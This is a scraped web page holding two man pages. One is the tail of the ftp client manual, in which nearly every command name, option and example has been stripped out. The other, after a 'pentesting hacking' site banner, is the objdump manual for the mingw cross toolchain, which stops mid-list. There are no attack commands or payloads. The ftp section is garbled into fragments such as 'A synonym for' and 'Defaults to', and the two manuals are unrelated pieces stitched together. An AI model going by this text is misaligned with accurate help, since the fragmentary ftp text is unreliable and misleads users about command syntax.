bytes. The result must be a positive number.

If

is not supplied, the current throttle rates are displayed.

Note:

is not yet implemented for ascii mode transfers.

Set the size of the socket receive buffer to

A synonym for

acts like

except that if

exists and is smaller than

is presumed to be a partially transferred copy of

and the transfer is continued from the apparent point of failure. This command is useful when transferring very large files over networks that are prone to dropping connections.

Set options on the remote

server for

to

Remote

commands known to support options include:

used for

and

Rename the file

on the remote machine, to the file

Clear reply queue. This command re-synchronizes command/reply sequencing with the remote

server. Resynchronization may be necessary following a violation of the

protocol by the remote server.

Restart the immediately following

or

at the indicated

On

systems, marker is usually a byte offset into the file.

Request help from the remote

server. If a

is specified it is supplied to the server as well.

Delete a directory on the remote machine.

With no arguments, show status of remote machine. If

is specified, show status of

on remote machine.

Toggle storing of files on the local system with unique filenames. If a file already exists with a name equal to the target local filename for a

or

command, a

is appended to the name. If the resulting name matches another existing file, a

is appended to the original name. If this process continues up to

an error message is printed, and the transfer does not take place. The generated unique filename will be reported. Note that

will not affect local files generated from a shell command (see below). The default value is off.

A synonym for

Toggle the use of

commands. By default,

will attempt to use a

command when establishing a connection for each data transfer. The use of

commands can prevent delays when performing multiple file transfers. If the

command fails,

will use the default data port. When the use of

commands is disabled, no attempt will be made to use

commands for each data transfer. This is useful for certain

implementations which do ignore

commands but, incorrectly, indicate they’ve been accepted.

Set

to

If

and

are not given, display all of the options and their values. The currently supported options are:

Defaults to

Defaults to

Defaults to

Defaults to

Defaults to

Defaults to

Defaults to

Defaults to

Defaults to

The arguments specified are sent, verbatim, to the remote

server as a

command.

Return size of

on remote machine.

Set the size of the socket send buffer to

Show the current status of

Set the file transfer

to

The default (and only supported) structure is

Toggle storing of files on remote machine under unique file names. The remote

server must support

protocol

command for successful completion. The remote server will report unique name. Default value is off.

Show the type of operating system running on the remote machine.

Set the file transfer type to that needed to talk to

machines.

A synonym for

Toggle packet tracing.

Set the file transfer

to

If no type is specified, the current type is printed. The default type is network

Set the default umask on the remote server to

If

is omitted, the current umask is printed.

Unset

Refer to

for more information.

Print the usage message for

Identify yourself to the remote

server. If the

is not specified and the server requires it,

will prompt the user for it (after disabling local echo). If an

field is not specified, and the

server requires it, the user will be prompted for it. If an

field is specified, an account command will be relayed to the remote server after the login sequence is completed if the remote server did not require it for logging in. Unless

is invoked with

disabled, this process is done automatically on initial connection to the

server.

Toggle verbose mode. In verbose mode, all responses from the

server are displayed to the user. In addition, if verbose is on, when a file transfer completes, statistics regarding the efficiency of the transfer are reported. By default, verbose is on.

Set the size of the socket send and receive buffers to

A synonym for

Command arguments which have embedded spaces may be quoted with quote

marks.

Commands which toggle settings can take an explicit

or

argument to force the setting appropriately.

Commands which take a byte count as an argument

e.g.,

and

support an optional suffix on the argument which changes the interpretation of the argument. Supported suffixes are:

Causes no modification. (Optional)

Kilo; multiply the argument by 1024

Mega; multiply the argument by 1048576

Giga; multiply the argument by 1073741824

If

receives a

see the

argument of

or

signal whilst a transfer is in progress, the current transfer rate statistics will be written to the standard error output, in the same format as the standard completion message.

In addition to standard commands, this version of

supports an auto-fetch feature. To enable auto-fetch, simply pass the list of hostnames/files on the command line.

The following formats are valid syntax for an auto-fetch element:

format.

If

contains a glob character and globbing is enabled, (see

then the equivalent of

is performed.

If the directory component of

contains no globbing characters, it is stored locally with the name basename (see

of

in the current directory. Otherwise, the full remote name is used as the local name, relative to the local root directory.

An

URL, retrieved using the

protocol if

isn’t defined. Otherwise, transfer the URL using

via the proxy defined in

If

isn’t defined and

is given, login as

In this case, use

if supplied, otherwise prompt the user for one.

If a suffix of

or

is supplied, then the transfer type will take place as ascii or binary (respectively). The default transfer type is binary.

In order to be compliant with

interprets the

part of an

auto-fetch URL as follows:

The

immediately after the

is interpreted as a separator before the

and not as part of the

itself.

The

is interpreted as a

list of name components. For all but the last such component,

performs the equivalent of a

command. For the last path component,

performs the equivalent of a

command.

Empty name components, which result from

within the

or from an extra

at the beginning of the

will cause the equivalent of a

command without a directory name. This is unlikely to be useful.

Any

codes (per

within the path components are decoded, with

representing a character code in hexadecimal. This decoding takes place after the

has been split into components, but before each component is used in the equivalent of a

or

command. Some often-used codes are

(which represents

and

which represents

The above interpretation has the following consequences:

The path is interpreted relative to the default login directory of the specified user or of the

user. If the

directory is required, use a leading path of

If a user’s home directory is required

use a leading path of

For example, to retrieve

from

as the user

with the password

use

The exact

and

commands can be controlled by careful choice of where to use

and where to use

(or

For example, the following URLs correspond to the equivalents of the indicated commands:

You must have appropriate access permission for each of the intermediate directories that is used in the equivalent of a

command.

An

URL, retrieved using the

protocol. If

is defined, it is used as a URL to an

proxy server. If

authorization is required to retrieve

and

(and optionally

is in the URL, use them for the first attempt to authenticate.

An

URL, retrieved using the

protocol. If

is defined, it is used as a URL to an

proxy server. If

authorization is required to retrieve

and

(and optionally

is in the URL, use them for the first attempt to authenticate. There is currently no certificate validation and verification.

A local URL, copied from

on the local host.

Display information regarding

no file is retrieved for this auto-fetched element. Supported values include:

Information about

The version of

Useful to provide when reporting problems.

Unless noted otherwise above, and

is not given, the file is stored in the current directory as the

of

Note that if a

redirect is received, the fetch is retried using the new target URL supplied by the server, with a corresponding new

Using an explicit

is recommended, to avoid writing to unexpected file names.

If a classic format or an

URL format has a trailing

or an empty

component, then

will connect to the site and

to the directory given as the path, and leave the user in interactive mode ready for further input. This will not work if

is being used.

Direct

transfers use HTTP 1.1. Proxied

and

transfers use HTTP 1.0.

If

is given, all auto-fetches that don’t go via the

or

proxies will be restarted. For

this is implemented by using

instead of

For

this is implemented by using the

directive.

If WWW or proxy WWW authentication is required, you will be prompted to enter a username and password to authenticate with.

When specifying IPv6 numeric addresses in a URL, you need to surround the address in square brackets. E.g.:

This is because colons are used in IPv6 numeric address as well as being the separator for the port number.

To abort a file transfer, use the terminal interrupt key (usually Ctrl-C). Sending transfers will be immediately halted. Receiving transfers will be halted by sending an

protocol

command to the remote server, and discarding any further data received. The speed at which this is accomplished depends upon the remote server’s support for

processing. If the remote server does not support the

command, the prompt will not appear until the remote server has completed sending the requested file.

If the terminal interrupt key sequence is used whilst

is awaiting a reply from the remote server for the

processing, then the connection will be closed. This is different from the traditional behaviour (which ignores the terminal interrupt during this phase), but is considered more useful.

Files specified as arguments to

commands are processed according to the following rules.

If the file name

is specified, the

(for reading) or

(for writing) is used.

If the first character of the file name is

the remainder of the argument is interpreted as a shell command.

then forks a shell, using

with the argument supplied, and reads (writes) from the stdout (stdin). If the shell command includes spaces, the argument must be quoted; e.g.

A particularly useful example of this mechanism is:

Failing the above checks, if globbing is enabled, local file names are expanded according to the rules used in the

see the

command. If the

command expects a single local file (e.g.

only the first filename generated by the globbing operation is used.

For

commands and

commands with unspecified local file names, the local filename is the remote filename, which may be altered by a

or

setting. The resulting filename may then be altered if

is on.

For

commands and

commands with unspecified remote file names, the remote filename is the local filename, which may be altered by a

or

setting. The resulting filename may then be altered by the remote server if

is on.

The

specification specifies many parameters which may affect a file transfer. The

may be one of

(binary),

and

(for

and

mostly).

supports the ascii and image types of file transfer, plus local byte size 8 for

mode transfers.

supports only the default values for the remaining file transfer parameters:

and

The

file contains login and initialization information used by the auto-login process. It resides in the user’s home directory, unless overridden with the

option, or specified in the

environment variable. The following tokens are recognized; they may be separated by spaces, tabs, or new-lines:

Identify a remote machine

The auto-login process searches the

file for a

token that matches the remote machine specified on the

command line or as an

command argument. Once a match is made, the subsequent

tokens are processed, stopping when the end of file is reached or another

or a

token is encountered.

This is the same as

except that

matches any name. There can be only one

token, and it must be after all

tokens. This is normally used as:

thereby giving the user an automatic anonymous

login to machines not specified in

This can be overridden by using the

flag to disable auto-login.

Identify a user on the remote machine. If this token is present, the auto-login process will initiate a login using the specified

Supply a password. If this token is present, the auto-login process will supply the specified string if the remote server requires a password as part of the login process. Note that if this token is present in the

file for any user other than

will abort the auto-login process if the

is readable by anyone besides the user.

Supply an additional account password. If this token is present, the auto-login process will supply the specified string if the remote server requires an additional account password, or the auto-login process will initiate an

command if it does not.

Define a macro. This token functions like the

command functions. A macro is defined with the specified name; its contents begin with the next

line and continue until a blank line (consecutive new-line characters) is encountered. Like the other tokens in the

file, a

is applicable only to the

definition preceding it. A

entry cannot be used by multiple

definitions; rather, it must be defined following each

it is intended to be used with. If a macro named

is defined, it is automatically executed as the last step in the auto-login process. For example,

default macdef init epsv4 off

followed by a blank line.

supports interactive command line editing, via the

library. It is enabled with the

command, and is enabled by default if input is from a tty. Previous lines can be recalled and edited with the arrow keys, and other GNU Emacs-style editing keys may be used as well.

The

library is configured with a

file — refer to

for more information.

An extra key binding is available to

to provide context sensitive command and filename completion (including remote file completion). To use this, bind a key to the

command

By default, this is bound to the TAB key.

By default,

displays a command line prompt of

to the user. This can be changed with the

command.

A prompt can be displayed on the right side of the screen (after the command input) with the

command.

The following formatting sequences are replaced by the given information:

The current remote working directory.

The trailing component of the current remote working directory, or

trailing components if a digit

is given. If

begins with

the number of skipped components precede the trailing component(s) in the format

(for

or

(for

The remote host name.

The remote host name, up to the first dot

The remote user name.

A single percent character

uses the following environment variables.

Password to send in an anonymous

transfer. Defaults to

Overrides the default operation mode. Support values are:

active mode

only

automatic determination of passive or active (this is the default)

gate-ftp mode

passive mode

only

Command-line prompt to use. Defaults to

Refer to

for more information.

Command-line right side prompt to use. Defaults to empty string. Refer to

for more information.

Host to use as gate-ftp server when

is enabled.

Port to use when connecting to gate-ftp server when

is enabled. Default is port returned by a

lookup of

The value to send for the

User-Agent header.

Set to 1 to not verify SSL certificates.

For default location of a

file, if one exists.

An alternate location of the

file.

Used by various commands to display files. Defaults to

if empty or not set.

For default shell.

URL of

proxy to use when making

URL requests (if not defined, use the standard

protocol).

See

for further notes about proxy use.

URL of

proxy to use when making

URL requests. If proxy authentication is required and there is a username and password in this URL, they will automatically be used in the first attempt to authenticate to the proxy.

If

URL characters are required in the username or password (for example

or

encode them with

encoding.

Note that the use of a username and password in

and

may be incompatible with other programs that use it (such as

this is not used for interactive sessions, only for command-line fetches.

URL of

proxy to use when making

URL requests.

See

for further notes about proxy use.

A space or comma separated list of hosts (or domains) for which proxying is not to be used. Each entry may have an optional trailing

which restricts the matching to connections to that port.

Some firewall configurations do not allow

to use extended passive mode. If you find that even a simple

appears to hang after printing a message such as this:

then you will need to disable extended passive mode with

See the above section

for an example of how to make this automatic.

attempts to be compliant with:

The

command appeared in

Various features such as command line editing, context sensitive command and file completion, dynamic progress bar, automatic fetching of files and URLs, modification time preservation, transfer rate throttling, configurable command line prompt, and other enhancements over the standard

were implemented in

and later releases by

IPv6 support was added by the WIDE/KAME project (but may not be present in all non-NetBSD versions of this program, depending if the operating system supports IPv6 in a similar manner to KAME).

Correct execution of many commands depends upon proper behavior by the remote server.

An error in the treatment of carriage returns in the

ascii-mode transfer code has been corrected. This correction may result in incorrect transfers of binary files to and from

servers using the ascii type. Avoid this problem by using the binary image type.

assumes that all IPv4 mapped addresses

IPv6 addresses with a form like

indicate IPv4 destinations which can be handled by

sockets. However, in certain IPv6 network configurations, this assumption is not true. In such an environment, IPv4 mapped addresses must be passed to

sockets directly. For example, if your site uses a SIIT translator for IPv6-to-IPv4 translation,

is unable to support your configuration.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1193 - Linux cli command x86_64-w64-mingw32-objdump

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-w64-mingw32-objdump and provides detailed information about the command x86_64-w64-mingw32-objdump, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-w64-mingw32-objdump.

NAME 🖥️ x86_64-w64-mingw32-objdump 🖥️

display information from object files

SYNOPSIS

objdump [-a|–archive-headers] [-b bfdname|–target=bfdname] [-C|–demangle[=style] ] [-d|–disassemble[=symbol]] [-D|–disassemble-all] [-z|–disassemble-zeroes] [-EB|-EL|–endian={big | little }] [-f|–file-headers] [-F|–file-offsets] [–file-start-context] [-g|–debugging] [-e|–debugging-tags] [-h|–section-headers|–headers] [-i|–info] [-j section|–section=section] [-l|–line-numbers] [-S|–source] [–source-comment[=text]] [-m machine|–architecture=machine] [-M options|–disassembler-options=options] [-p|–private-headers] [-P options|–private=options] [-r|–reloc] [-R|–dynamic-reloc] [-s|–full-contents] [-Z|–decompress] [-W[lLiaprmfFsoORtUuTgAck]| –dwarf[=rawline,=decodedline,=info,=abbrev,=pubnames,=aranges,=macro,=frames,=frames-interp,=str,=str-offsets,=loc,=Ranges,=pubtypes,=trace_info,=trace_abbrev,=trace_aranges,=gdb_index,=addr,=cu_index,=links]] [-WK|–dwarf=follow-links] [-WN|–dwarf=no-follow-links] [-wD|–dwarf=use-debuginfod] [-wE|–dwarf=do-not-use-debuginfod] [-L|–process-links] [–ctf=section] [–sframe=section] [-G|–stabs] [-t|–syms] [-T|–dynamic-syms] [-x|–all-headers] [-w|–wide] [–start-address=address] [–stop-address=address] [–no-addresses] [–prefix-addresses] [–[no-]show-raw-insn] [–adjust-vma=offset] [–show-all-symbols] [–dwarf-depth=n] [–dwarf-start=n] [–ctf-parent=section] [–no-recurse-limit|–recurse-limit] [–special-syms] [–prefix=prefix] [–prefix-strip=level] [–insn-width=width] [–visualize-jumps[=color|=extended-color|=off] [–disassembler-color=[off|terminal|on|extended] [-U method] [–unicode=method] [-V|–version] [-H|–help] objfile

DESCRIPTION

objdump displays information about one or more object files. The options control what particular information to display. This information is mostly useful to programmers who are working on the compilation tools, as opposed to programmers who just want their program to compile and work.

objfile… are the object files to be examined. When you specify archives, objdump shows information on each of the member object files.

OPTIONS

The long and short forms of options, shown here as alternatives, are equivalent. At least one option from the list -a,-d,-D,-e,-f,-g,-G,-h,-H,-p,-P,-r,-R,-s,-S,-t,-T,-V,-x must be given.

-a

–archive-header

If any of the objfile files are archives, display the archive header information (in a format similar to ls -l). Besides the information you could list with ar tv, objdump -a shows the object file format of each archive member.

–adjust-vma=offset
When dumping information, first add offset to all the section addresses. This is useful if the section addresses do not correspond to the symbol table, which can happen when putting sections at particular addresses when using a format which can not represent section addresses, such as a.out.

-b bfdname

–target=bfdname

Specify that the object-code format for the object files is bfdname. This option may not be necessary; objdump can automatically recognize many formats. For example, objdump -b oasys -m vax -h fu.o displays summary information from the section headers (-h) of fu.o, which is explicitly identified (-m) as a VAX object file in the format produced by Oasys compilers. You can list the formats available with the -i option.

-C

–demangle[=style]

Decode (demangle) low-level symbol names into user-level names. Besides removing any initial underscore prepended by the system, this makes C++ function names readable. Different compilers have different mangling styles. The optional demangling style argument can be used to choose an appropriate demangling style for your compiler.

–recurse-limit

–no-recurse-limit

–recursion-limit

–no-recursion-limit

Enables or disables a limit on the amount of recursion performed whilst demangling strings. Since the name mangling formats allow for an infinite level of recursion it is possible to create strings whose decoding will exhaust the amount of stack space available on the host machine, triggering a memory fault. The limit tries to prevent this from happening by restricting recursion to 2048 levels of nesting. The default is for this limit to be enabled, but disabling it may be necessary in order to demangle truly complicated names. Note however that if the recursion limit is disabled then stack exhaustion is possible and any bug reports about such an event will be rejected.

-g

–debugging

Display debugging information. This attempts to parse STABS debugging format information stored in the file and print it out using a C like syntax. If no STABS debugging was found this option falls back on the -W option to print any DWARF information in the file.

-e

–debugging-tags

Like -g, but the information is generated in a format compatible with ctags tool.

-d

–disassemble

–disassemble=symbol

Display the assembler mnemonics for the machine instructions from the input file. This option only disassembles those sections which are expected to contain instructions. If the optional symbol argument is given, then display the assembler mnemonics starting at symbol. If symbol is a function name then disassembly will stop at the end of the function, otherwise it will stop when the next symbol is encountered. If there are no matches for symbol then nothing will be displayed. Note if the –dwarf=follow-links option is enabled then any symbol tables in linked debug info files will be read in and used when disassembling.

-D

–disassemble-all

Like -d, but disassemble the contents of all non-empty non-bss sections, not just those expected to contain instructions. -j may be used to select specific sections. This option also has a subtle effect on the disassembly of instructions in code sections. When option -d is in effect objdump will assume that any symbols present in a code section occur on the boundary between instructions and it will refuse to disassemble across such a boundary. When option -D is in effect however this assumption is suppressed. This means that it is possible for the output of -d and -D to differ if, for example, data is stored in code sections. If the target is an ARM architecture this switch also has the effect of forcing the disassembler to decode pieces of data found in code sections as if they were instructions. Note if the –dwarf=follow-links option is enabled then any symbol tables in linked debug info files will be read in and used when disassembling.

–no-addresses
When disassembling, don’t print addresses on each line or for symbols and relocation offsets. In combination with –no-show-raw-insn this may be useful for comparing compiler output.

–prefix-addresses
When disassembling, print the complete address on each line. This is the older disassembly format.

-EB

-EL

–endian={big|little}

Specify the endianness of the object files. This only affects disassembly. This can be useful when disassembling a file format which does not describe endianness information, such as S-records.

-f

–file-headers

Display summary information from the overall header of each of the objfile files.

-F

–file-offsets

When disassembling sections, whenever a symbol is displayed, also display the file offset of the region of data that is about to be dumped. If zeroes are being skipped, then when disassembly resumes, tell the user how many zeroes were skipped and the file offset of the location from where the disassembly resumes. When dumping sections, display the file offset of the location from where the dump starts.

–file-start-context
Specify that when displaying interlisted source code/disassembly (assumes -S) from a file that has not yet been displayed, extend the context to the start of the file.

-h

–section-headers

–headers

Display summary information from the section headers of the object file. File segments may be relocated to nonstandard addresses, for example by using the -Ttext, -Tdata, or -Tbss options to ld. However, some object file formats, such as a.out, do not store the starting address of the file segments. In those situations, although ld relocates the sections correctly, using objdump -h to list the file section headers cannot show the correct addresses. Instead, it shows the usual addresses, which are implicit for the target. Note, in some cases it is possible for a section to have both the READONLY and the NOREAD attributes set. In such cases the NOREAD attribute takes precedence, but objdump will report both since the exact setting of the flag bits might be important.

-H

–help

Print a summary of the options to objdump and exit.

-i

–info

Display a list showing all architectures and object formats available for specification with -b or -m.

-j name

–section=name

Display information for section name. This option may be specified multiple times.

-L

–process-links

Display the contents of non-debug sections found in separate debuginfo files that are linked to the main file. This option automatically implies the -WK option, and only sections requested by other command line options will be displayed.

-l

–line-numbers

Label the display (using debugging information) with the filename and source line numbers corresponding to the object code or relocs shown. Only useful with -d, -D, or -r.

-m machine

–architecture=machine

Specify the architecture to use when disassembling object files. This can be useful when disassembling object files which do not describe architecture information, such as S-records. You can list the available architectures with the -i option. For most architectures it is possible to supply an architecture name and a machine name, separated by a colon. For example foo:bar would refer to the bar machine type in the foo architecture. This can be helpful if objdump has been configured to support multiple architectures. If the target is an ARM architecture then this switch has an additional effect. It restricts the disassembly to only those instructions supported by the architecture specified by machine. If it is necessary to use this switch because the input file does not contain any architecture information, but it is also desired to disassemble all the instructions use -marm.

-M options

–disassembler-options=options

Pass target specific information to the disassembler. Only supported on some targets. If it is necessary to specify more than one disassembler option then multiple -M options can be used or can be placed together into a comma separated list. For ARC, dsp controls the printing of DSP instructions, spfp selects the printing of FPX single precision FP instructions, dpfp selects the printing of FPX double precision FP instructions, quarkse_em selects the printing of special QuarkSE-EM instructions, fpuda selects the printing of double precision assist instructions, fpus selects the printing of FPU single precision FP instructions, while fpud selects the printing of FPU double precision FP instructions. Additionally, one can choose to have all the immediates printed in hexadecimal using hex. By default, the short immediates are printed using the decimal representation, while the long immediate values are printed as hexadecimal. cpu=… allows one to enforce a particular ISA when disassembling instructions, overriding the -m value or whatever is in the ELF file. This might be useful to select ARC EM or HS ISA, because architecture is same for those and disassembler relies on private ELF header data to decide if code is for EM or HS. This option might be specified multiple times - only the latest value will be used. Valid values are same as for the assembler -mcpu=… option. If the target is an ARM architecture then this switch can be used to select which register name set is used during disassembler. Specifying -M reg-names-std (the default) will select the register names as used in ARM’s instruction set documentation, but with register 13 called ‘sp’, register 14 called ’lr’ and register 15 called ‘pc’. Specifying -M reg-names-apcs will select the name set used by the ARM Procedure Call Standard, whilst specifying -M reg-names-raw will just use r followed by the register number. There are also two variants on the APCS register naming scheme enabled by -M reg-names-atpcs and -M reg-names-special-atpcs which use the ARM/Thumb Procedure Call Standard naming conventions. (Either with the normal register names or the special register names). This option can also be used for ARM architectures to force the disassembler to interpret all instructions as Thumb instructions by using the switch –disassembler-options=force-thumb. This can be useful when attempting to disassemble thumb code produced by other compilers. For AArch64 targets this switch can be used to set whether instructions are disassembled as the most general instruction using the -M no-aliases option or whether instruction notes should be generated as comments in the disasssembly using -M notes. For the x86, some of the options duplicate functions of the -m switch, but allow finer grained control.

“x86-64”

“i386”

“i8086”

Select disassembly for the given architecture.

“intel”

“att”

Select between intel syntax mode and AT&T syntax mode.

“amd64”

“intel64”

Select between AMD64 ISA and Intel64 ISA.

“intel-mnemonic”

“att-mnemonic”

Select between intel mnemonic mode and AT&T mnemonic mode. Note: intel-mnemonic implies intel and att-mnemonic implies att.

“addr64”

“addr32”

“addr16”

“data32”

“data16”

Specify the default address size and operand size. These five options will be overridden if x86-64, i386 or i8086 appear later in the option string.

“suffix”
When in AT&T mode and also for a limited set of instructions when in Intel mode, instructs the disassembler to print a mnemonic suffix even when the suffix could be inferred by the operands or, for certain instructions, the execution mode’s defaults.

For PowerPC, the -M argument raw selects disasssembly of hardware insns rather than aliases. For example, you will see rlwinm rather than clrlwi, and addi rather than li. All of the -m arguments for gas that select a CPU are supported. These are: 403, 405, 440, 464, 476, 601, 603, 604, 620, 7400, 7410, 7450, 7455, 750cl, 821, 850, 860, a2, booke, booke32, cell, com, e200z2, e200z4, e300, e500, e500mc, e500mc64, e500x2, e5500, e6500, efs, power4, power5, power6, power7, power8, power9, power10, power11, ppc, ppc32, ppc64, ppc64bridge, ppcps, pwr, pwr2, pwr4, pwr5, pwr5x, pwr6, pwr7, pwr8, pwr9, pwr10, pwr11, pwrx, titan, vle, and future. 32 and 64 modify the default or a prior CPU selection, disabling and enabling 64-bit insns respectively. In addition, altivec, any, lsp, htm, vsx, spe and spe2 add capabilities to a previous or later CPU selection. any will disassemble any opcode known to binutils, but in cases where an opcode has two different meanings or different arguments, you may not see the disassembly you expect. If you disassemble without giving a CPU selection, a default will be chosen from information gleaned by BFD from the object files headers, but the result again may not be as you expect. For MIPS, this option controls the printing of instruction mnemonic names and register names in disassembled instructions. Multiple selections from the following may be specified as a comma separated string, and invalid options are ignored:

“no-aliases”
Print the ‘raw’ instruction mnemonic instead of some pseudo instruction mnemonic. I.e., print ‘daddu’ or ‘or’ instead of ‘move’, ‘sll’ instead of ’nop’, etc.

“msa”
Disassemble MSA instructions.

“virt”
Disassemble the virtualization ASE instructions.

“xpa”
Disassemble the eXtended Physical Address (XPA) ASE instructions.

“gpr-names=ABI”
Print GPR (general-purpose register) names as appropriate for the specified ABI. By default, GPR names are selected according to the ABI of the binary being disassembled.

“fpr-names=ABI”
Print FPR (floating-point register) names as appropriate for the specified ABI. By default, FPR numbers are printed rather than names.

“cp0-names=ARCH”
Print CP0 (system control coprocessor; coprocessor 0) register names as appropriate for the CPU or architecture specified by ARCH. By default, CP0 register names are selected according to the architecture and CPU of the binary being disassembled.

“hwr-names=ARCH”
Print HWR (hardware register, used by the rdhwr instruction) names as appropriate for the CPU or architecture specified by ARCH. By default, HWR names are selected according to the architecture and CPU of the binary being disassembled.

“reg-names=ABI”
Print GPR and FPR names as appropriate for the selected ABI.

“reg-names=ARCH”
Print CPU-specific register names (CP0 register and HWR names) as appropriate for the selected CPU or architecture.

For any of the options listed above, ABI or ARCH may be specified as numeric to have numbers printed rather than names, for the selected types of registers. You can list the available values of ABI and ARCH using the –help option. For VAX, you can specify function entry addresses with -M entry:0xf00ba. You can use this multiple times to properly disassemble VAX binary files that don’t contain symbol tables (like ROM dumps). In these cases, the function entry mask would otherwise be decoded as VAX instructions, which would probably lead the rest of the function being wrongly disassembled.

-p

–private-headers

Print information that is specific to the object file format. The exact information printed depends upon the object file format. For some object file formats, no additional information is printed.

-P options

–private=options

Print information that is specific to the object file format. The argument options is a comma separated list that depends on the format (the lists of options is displayed with the help). For XCOFF, the available options are:

“header”

“aout”

“sections”

“syms”

“relocs”

“lineno,”

“loader”

“except”

“typchk”

“traceback”

“toc”

“ldinfo”

For PE, the available options are:

“header”

“sections”

Not all object formats support this option. In particular the ELF format does not use it.

-r

–reloc

Print the relocation entries of the file. If used with -d or -D, the relocations are printed interspersed with the disassembly.

-R

–dynamic-reloc

Print the dynamic relocation entries of the file. This is only meaningful for dynamic objects, such as certain types of shared libraries. As for -r, if used with -d or -D, the relocations are printed interspersed with the disassembly.

-s

–full-contents

Display the full contents of sections, often used in combination with -j to request specific sections. By default all non-empty non-bss sections are displayed. By default any compressed section will be displayed in its compressed form. In order to see the contents in a decompressed form add the -Z option to the command line.

-S

–source

Display source code intermixed with disassembly, if possible. Implies -d.

–show-all-symbols
When disassembling, show all the symbols that match a given address, not just the first one.

–source-comment[=txt]
Like the -S option, but all source code lines are displayed with a prefix of txt. Typically txt will be a comment string which can be used to distinguish the assembler code from the source code. If txt is not provided then a default string of "# “ (hash followed by a space), will be used.

–prefix=prefix
Specify prefix to add to the absolute paths when used with -S.

–prefix-strip=level
Indicate how many initial directory names to strip off the hardwired absolute paths. It has no effect without **–prefix=**prefix.

–show-raw-insn
When disassembling instructions, print the instruction in hex as well as in symbolic form. This is the default except when –prefix-addresses is used.

–no-show-raw-insn
When disassembling instructions, do not print the instruction bytes. This is the default when –prefix-addresses is used.

–insn-width=width
Display width bytes on a single line when disassembling instructions.

–visualize-jumps[=color|=extended-color|=off]
Visualize jumps that stay inside a function by drawing ASCII art between the start and target addresses. The optional =color argument adds color to the output using simple terminal colors. Alternatively the =extended-color argument will add color using 8bit colors, but these might not work on all terminals. If it is necessary to disable the visualize-jumps option after it has previously been enabled then use visualize-jumps=off.

–disassembler-color=off

–disassembler-color=terminal

–disassembler-color=on|color|colour

–disassembler-color=extened|extended-color|extened-colour

Enables or disables the use of colored syntax highlighting in disassembly output. The default behaviour is determined via a configure time option. Note, not all architectures support colored syntax highlighting, and depending upon the terminal used, colored output may not actually be legible. The on argument adds colors using simple terminal colors. The terminal argument does the same, but only if the output device is a terminal. The extended-color argument is similar to the on argument, but it uses 8-bit colors. These may not work on all terminals. The off argument disables colored disassembly.

-W[lLiaprmfFsoORtUuTgAckK]

–dwarf[=rawline,=decodedline,=info,=abbrev,=pubnames,=aranges,=macro,=frames,=frames-interp,=str,=str-offsets,=loc,=Ranges,=pubtypes,=trace_info,=trace_abbrev,=trace_aranges,=gdb_index,=addr,=cu_index,=links,=follow-links]

Displays the contents of the DWARF debug sections in the file, if any are present. Compressed debug sections are automatically decompressed (temporarily) before they are displayed. If one or more of the optional letters or words follows the switch then only those type(s) of data will be dumped. The letters and words refer to the following information:

“a”

“=abbrev”

Displays the contents of the .debug_abbrev section.

“A”

“=addr”

Displays the contents of the .debug_addr section.

“c”

“=cu_index”

Displays the contents of the .debug_cu_index and/or .debug_tu_index sections.

“f”

“=frames”

Display the raw contents of a .debug_frame section.

“F”

“=frames-interp”

Display the interpreted contents of a .debug_frame section.

“g”

“=gdb_index”

Displays the contents of the .gdb_index and/or .debug_names sections.

“i”

“=info”

Displays the contents of the .debug_info section. Note: the output from this option can also be restricted by the use of the –dwarf-depth and –dwarf-start options.

“k”

“=links”

Displays the contents of the .gnu_debuglink, .gnu_debugaltlink and .debug_sup sections, if any of them are present. Also displays any links to separate dwarf object files (dwo), if they are specified by the DW_AT_GNU_dwo_name or DW_AT_dwo_name attributes in the .debug_info section.

“K”

“=follow-links”

Display the contents of any selected debug sections that are found in linked, separate debug info file(s). This can result in multiple versions of the same debug section being displayed if it exists in more than one file. In addition, when displaying DWARF attributes, if a form is found that references the separate debug info file, then the referenced contents will also be displayed. Note - in some distributions this option is enabled by default. It can be disabled via the N debug option. The default can be chosen when configuring the binutils via the –enable-follow-debug-links=yes or –enable-follow-debug-links=no options. If these are not used then the default is to enable the following of debug links. Note - if support for the debuginfod protocol was enabled when the binutils were built then this option will also include an attempt to contact any debuginfod servers mentioned in the DEBUGINFOD_URLS environment variable. This could take some time to resolve. This behaviour can be disabled via the =do-not-use-debuginfod debug option.

“N”

“=no-follow-links”

Disables the following of links to separate debug info files.

“D”

“=use-debuginfod”

Enables contacting debuginfod servers if there is a need to follow debug links. This is the default behaviour.

“E”

“=do-not-use-debuginfod”

Disables contacting debuginfod servers when there is a need to follow debug links.

“l”

“=rawline”

Displays the contents of the .debug_line section in a raw format.

“L”

“=decodedline”

Displays the interpreted contents of the .debug_line section.

“m”

“=macro”

Displays the contents of the .debug_macro and/or .debug_macinfo sections.

“o”

“=loc”

Displays the contents of the .debug_loc and/or .debug_loclists sections.

“O”

“=str-offsets”

Displays the contents of the .debug_str_offsets section.

“p”

“=pubnames”

Displays the contents of the .debug_pubnames and/or .debug_gnu_pubnames sections.

“r”

“=aranges”

Displays the contents of the .debug_aranges section.

“R”

“=Ranges”

Displays the contents of the .debug_ranges and/or .debug_rnglists sections.

“s”

“=str”

Displays the contents of the .debug_str, .debug_line_str and/or .debug_str_offsets sections.

“t”

“=pubtype”

Displays the contents of the .debug_pubtypes and/or .debug_gnu_pubtypes sections.

“T”

“=trace_aranges”

